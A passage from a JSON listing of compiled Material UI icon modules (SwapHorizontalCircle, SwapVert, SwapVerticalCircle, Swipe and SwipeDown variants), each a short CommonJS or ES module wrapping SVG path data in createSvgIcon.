    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-13.5V9h-4v2h4v2.5l3.5-3.5zm-6 4L5.5 14 9 17.5V15h4v-2H9z\"\n}), 'SwapHorizontalCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizontalCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-13.5V9h-4v2h4v2.5l3.5-3.5zm-6 4L5.5 14 9 17.5V15h4v-2H9z\"\n}), 'SwapHorizontalCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizontalCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10m-7-5.5 3.15 3.15c.2.2.2.51 0 .71L15 13.5V11h-4V9h4zm-6 11-3.15-3.15c-.2-.2-.2-.51 0-.71L9 10.5V13h4v2H9z\"\n}), 'SwapHorizontalCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizontalCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10m-7-5.5 3.15 3.15c.2.2.2.51 0 .71L15 13.5V11h-4V9h4zm-6 11-3.15-3.15c-.2-.2-.2-.51 0-.71L9 10.5V13h4v2H9z\"\n}), 'SwapHorizontalCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizontalCircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10m-7-5.5 3.5 3.5-3.5 3.5V11h-4V9h4zm-6 11L5.5 14 9 10.5V13h4v2H9z\"\n}), 'SwapHorizontalCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizontalCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10m-7-5.5 3.5 3.5-3.5 3.5V11h-4V9h4zm-6 11L5.5 14 9 10.5V13h4v2H9z\"\n}), 'SwapHorizontalCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizontalCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m1 11H9v2.5L5.5 14 9 10.5V13h4zm2-1.5V11h-4V9h4V6.5l3.5 3.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-13.5V9h-4v2h4v2.5l3.5-3.5zm-6 4L5.5 14 9 17.5V15h4v-2H9z\"\n}, \"1\")], 'SwapHorizontalCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizontalCircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m1 11H9v2.5L5.5 14 9 10.5V13h4zm2-1.5V11h-4V9h4V6.5l3.5 3.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-13.5V9h-4v2h4v2.5l3.5-3.5zm-6 4L5.5 14 9 17.5V15h4v-2H9z\"\n}, \"1\")], 'SwapHorizontalCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVert.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 17.01V10h-2v7.01h-3L15 21l4-3.99zM9 3 5 6.99h3V14h2V6.99h3z\"\n}), 'SwapVert');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVert.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 17.01V10h-2v7.01h-3L15 21l4-3.99zM9 3 5 6.99h3V14h2V6.99h3z\"\n}), 'SwapVert');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVertOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 17.01V10h-2v7.01h-3L15 21l4-3.99zM9 3 5 6.99h3V14h2V6.99h3zm7 14.01V10h-2v7.01h-3L15 21l4-3.99zM9 3 5 6.99h3V14h2V6.99h3z\"\n}), 'SwapVertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVertOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 17.01V10h-2v7.01h-3L15 21l4-3.99zM9 3 5 6.99h3V14h2V6.99h3zm7 14.01V10h-2v7.01h-3L15 21l4-3.99zM9 3 5 6.99h3V14h2V6.99h3z\"\n}), 'SwapVertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVertRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 17.01V11c0-.55-.45-1-1-1s-1 .45-1 1v6.01h-1.79c-.45 0-.67.54-.35.85l2.79 2.78c.2.19.51.19.71 0l2.79-2.78c.32-.31.09-.85-.35-.85zM8.65 3.35 5.86 6.14c-.32.31-.1.85.35.85H8V13c0 .55.45 1 1 1s1-.45 1-1V6.99h1.79c.45 0 .67-.54.35-.85L9.35 3.35c-.19-.19-.51-.19-.7 0\"\n}), 'SwapVertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVertRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 17.01V11c0-.55-.45-1-1-1s-1 .45-1 1v6.01h-1.79c-.45 0-.67.54-.35.85l2.79 2.78c.2.19.51.19.71 0l2.79-2.78c.32-.31.09-.85-.35-.85zM8.65 3.35 5.86 6.14c-.32.31-.1.85.35.85H8V13c0 .55.45 1 1 1s1-.45 1-1V6.99h1.79c.45 0 .67-.54.35-.85L9.35 3.35c-.19-.19-.51-.19-.7 0\"\n}), 'SwapVertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVertSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 17.01V10h-2v7.01h-3L15 21l4-3.99zM9 3 5 6.99h3V14h2V6.99h3z\"\n}), 'SwapVertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVertSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 17.01V10h-2v7.01h-3L15 21l4-3.99zM9 3 5 6.99h3V14h2V6.99h3z\"\n}), 'SwapVertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVertTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 17.01V10h-2v7.01h-3L15 21l4-3.99zM9 3 5 6.99h3V14h2V6.99h3z\"\n}), 'SwapVertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVertTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 17.01V10h-2v7.01h-3L15 21l4-3.99zM9 3 5 6.99h3V14h2V6.99h3z\"\n}), 'SwapVertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVerticalCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M6.5 9 10 5.5 13.5 9H11v4H9V9zm11 6L14 18.5 10.5 15H13v-4h2v4z\"\n}), 'SwapVerticalCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVerticalCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M6.5 9 10 5.5 13.5 9H11v4H9V9zm11 6L14 18.5 10.5 15H13v-4h2v4z\"\n}), 'SwapVerticalCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVerticalCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8M6.5 9 10 5.5 13.5 9H11v4H9V9zm11 6L14 18.5 10.5 15H13v-4h2v4z\"\n}), 'SwapVerticalCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVerticalCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8M6.5 9 10 5.5 13.5 9H11v4H9V9zm11 6L14 18.5 10.5 15H13v-4h2v4z\"\n}), 'SwapVerticalCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVerticalCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M6.5 9l3.15-3.15c.2-.2.51-.2.71 0L13.5 9H11v4H9V9zm7.85 9.15c-.2.2-.51.2-.71 0L10.5 15H13v-4h2v4h2.5z\"\n}), 'SwapVerticalCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVerticalCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M6.5 9l3.15-3.15c.2-.2.51-.2.71 0L13.5 9H11v4H9V9zm7.85 9.15c-.2.2-.51.2-.71 0L10.5 15H13v-4h2v4h2.5z\"\n}), 'SwapVerticalCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVerticalCircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M6.5 9 10 5.5 13.5 9H11v4H9V9zm7.5 9.5L10.5 15H13v-4h2v4h2.5z\"\n}), 'SwapVerticalCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVerticalCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M6.5 9 10 5.5 13.5 9H11v4H9V9zm7.5 9.5L10.5 15H13v-4h2v4h2.5z\"\n}), 'SwapVerticalCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVerticalCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8M6.5 9 10 5.5 13.5 9H11v4H9V9zm7.5 9.5L10.5 15H13v-4h2v4h2.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m-1-7V9h2.5L10 5.5 6.5 9H9v4zm4-2h-2v4h-2.5l3.5 3.5 3.5-3.5H15z\"\n}, \"1\")], 'SwapVerticalCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapVerticalCircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8M6.5 9 10 5.5 13.5 9H11v4H9V9zm7.5 9.5L10.5 15H13v-4h2v4h2.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m-1-7V9h2.5L10 5.5 6.5 9H9v4zm4-2h-2v4h-2.5l3.5 3.5 3.5-3.5H15z\"\n}, \"1\")], 'SwapVerticalCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Swipe.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.89 14.75-4.09-2.04c-.28-.14-.58-.21-.89-.21H13v-6c0-.83-.67-1.5-1.5-1.5S10 5.67 10 6.5v10.74l-3.25-.74c-.33-.07-.68.03-.92.28l-.83.84 4.54 4.79c.38.38 1.14.59 1.67.59h6.16c1 0 1.84-.73 1.98-1.72l.63-4.46c.12-.85-.32-1.68-1.09-2.07\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.13 3.87C18.69 2.17 15.6 1 12 1S5.31 2.17 3.87 3.87L2 2v5h5L4.93 4.93c1-1.29 3.7-2.43 7.07-2.43s6.07 1.14 7.07 2.43L17 7h5V2z\"\n}, \"1\")], 'Swipe');"
  },
  {
    "path": "packages/mui-icons-material/lib/Swipe.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.89 14.75-4.09-2.04c-.28-.14-.58-.21-.89-.21H13v-6c0-.83-.67-1.5-1.5-1.5S10 5.67 10 6.5v10.74l-3.25-.74c-.33-.07-.68.03-.92.28l-.83.84 4.54 4.79c.38.38 1.14.59 1.67.59h6.16c1 0 1.84-.73 1.98-1.72l.63-4.46c.12-.85-.32-1.68-1.09-2.07\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.13 3.87C18.69 2.17 15.6 1 12 1S5.31 2.17 3.87 3.87L2 2v5h5L4.93 4.93c1-1.29 3.7-2.43 7.07-2.43s6.07 1.14 7.07 2.43L17 7h5V2z\"\n}, \"1\")], 'Swipe');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDown.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.8 12.18c-.2-.86-.3-1.76-.3-2.68 0-2.84.99-5.45 2.63-7.5L7.2 3.07C5.82 4.85 5 7.08 5 9.5c0 .88.11 1.74.32 2.56l1.62-1.62L8 11.5 4.5 15 1 11.5l1.06-1.06zm10.05-.56-2.68-5.37c-.37-.74-1.27-1.04-2.01-.67-.75.38-1.05 1.28-.68 2.02l4.81 9.6-3.24.8c-.33.09-.59.33-.7.66L9 19.78l6.19 2.25c.5.17 1.28.02 1.75-.22l5.51-2.75c.89-.45 1.32-1.48 1-2.42l-1.43-4.27c-.27-.82-1.04-1.37-1.9-1.37h-4.56c-.31 0-.62.07-.89.21z\"\n}), 'SwipeDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDown.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.8 12.18c-.2-.86-.3-1.76-.3-2.68 0-2.84.99-5.45 2.63-7.5L7.2 3.07C5.82 4.85 5 7.08 5 9.5c0 .88.11 1.74.32 2.56l1.62-1.62L8 11.5 4.5 15 1 11.5l1.06-1.06zm10.05-.56-2.68-5.37c-.37-.74-1.27-1.04-2.01-.67-.75.38-1.05 1.28-.68 2.02l4.81 9.6-3.24.8c-.33.09-.59.33-.7.66L9 19.78l6.19 2.25c.5.17 1.28.02 1.75-.22l5.51-2.75c.89-.45 1.32-1.48 1-2.42l-1.43-4.27c-.27-.82-1.04-1.37-1.9-1.37h-4.56c-.31 0-.62.07-.89.21z\"\n}), 'SwipeDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 13.9c2.28-.46 4-2.48 4-4.9 0-2.76-2.24-5-5-5S7 6.24 7 9c0 2.42 1.72 4.44 4 4.9v4.27l-1.59-1.59L8 18l4 4 4-4-1.41-1.41L13 18.17z\"\n}), 'SwipeDownAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 13.9c2.28-.46 4-2.48 4-4.9 0-2.76-2.24-5-5-5S7 6.24 7 9c0 2.42 1.72 4.44 4 4.9v4.27l-1.59-1.59L8 18l4 4 4-4-1.41-1.41L13 18.17z\"\n}), 'SwipeDownAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 13.9c2.28-.46 4-2.48 4-4.9 0-2.76-2.24-5-5-5S7 6.24 7 9c0 2.42 1.72 4.44 4 4.9v4.27l-1.59-1.59L8 18l4 4 4-4-1.41-1.41L13 18.17zM15 9c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'SwipeDownAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 13.9c2.28-.46 4-2.48 4-4.9 0-2.76-2.24-5-5-5S7 6.24 7 9c0 2.42 1.72 4.44 4 4.9v4.27l-1.59-1.59L8 18l4 4 4-4-1.41-1.41L13 18.17zM15 9c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'SwipeDownAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownAltRounded.js",
